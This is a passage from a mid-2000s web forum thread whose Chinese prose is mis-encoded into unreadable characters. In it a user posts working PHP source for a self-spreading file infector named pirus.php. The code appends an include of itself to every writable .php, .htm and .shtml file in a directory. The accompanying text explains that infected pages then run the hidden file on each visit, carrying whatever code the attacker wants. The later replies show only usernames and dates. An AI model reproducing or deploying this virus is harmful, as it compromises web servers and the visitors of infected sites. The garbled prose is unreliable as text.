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lost33 ·¢±íÓÚ 2004-10-22 10:53

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<?php include("pirus.php");?>
ÕâÑù£¬±»¸ÐȾµÄÍøÒ³Îļþ£¬ÔÚÿ´Î±»·ÃÎʵÄʱºò¶¼»áÈ¥µ÷ÓÃÒ»´Îpirus.php£¬¼´ÔËÐÐÒ»´Îpirus.php.
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pirus.php Õâ¸öÎļþ£¬¾Í¿ÉÒÔ·ÅÎÒÃÇÏëÒªÈÃÈ⼦ÔËÐеĴúÂ롣Ȼºó½«Õâ¸öÎļþÒþ²ØÔÚÒ»¸öÒõ°µµÄ½ÇÂä¡£
ÕâÑù£¬Ò»µ©²¡¶¾·¢×÷£¬ÄÇôÎÞÂÛÓû§·ÃÎÊÍøÕ¾µÄÊ²Ã´ÍøÒ³£¬¶¼»áµ÷ÓÃpirus.phpÁË£¬²»¹ýµ¹Ã¹µÄ²»Ò»¶¨ÊÇ·ÃÎÊÍøÒ³µÄÓû§¹þ£¬Ò²¿ÉÄÜÊÇ·þÎñÆ÷×ÔÉí£¬È«¿´pirus.phpÀïÃæÊÇʲô´úÂëÁË¡£¡£
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\<?php
$loc=opendir('.');  //This opens the current directory the php file is in
//»òÕßÓÃ $path=str_replace('\\','/',dirname(_FILE_));
// $loc=@opendir($path);  ´úÌæÉÏÃæÄÇÒ»ÐÐÒ²¿ÉÒÔ¡£
while ($file = @readdir($loc))  //makes a looop so it works while there is still an un-infected file
{ $infected=true;  //making sure we dont infect this file
$caniwrite=false;  

if ( ($caniwrite = strstr ($file, '.php')) || ($caniwrite = strstr ($file, '.htm')) || ($caniwrite = strstr ($file, '.php')) || ($caniwrite = strstr ($file, '.shtml')) ) //checking if the file has the correct extension
if ( is_file($file) && is_writeable($file) )  //making sure we can output to the file
{
  $output = fopen($file, "r");  //opening file for reading
  $contents = fread ($output , filesize ($file)); //getting some info for checking
  $mine = strstr ($contents, 'pirus.php');  //is it our file?
  if(!$mine ) $infected=false;  //if the file is not this one, say it is not infected
}
//infection
if (($infected==false))
{
  $output = fopen($file, "a");  //open it for appending
  fputs($output ,"<?php ");
  fputs($output ,"include(\"");  
  fputs($output ,"pirus.php");
  fputs($output ,"\"); ");
  fputs($output ,"?>");
  fclose($output );  //closing file
}
}
closedir($loc);
return;
?>

bwb ·¢±íÓÚ 2004-10-22 17:41

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lost33 ·¢±íÓÚ 2004-10-25 09:57

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bwb ·¢±íÓÚ 2004-10-25 10:52

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lost33 ·¢±íÓÚ 2004-10-25 15:21

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bwb ·¢±íÓÚ 2004-10-25 16:42

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johnwoos ·¢±íÓÚ 2004-11-1 11:04

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ServerOnly ·¢±íÓÚ 2004-11-4 13:02

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yncjxnc ·¢±íÓÚ 2005-11-15 16:38

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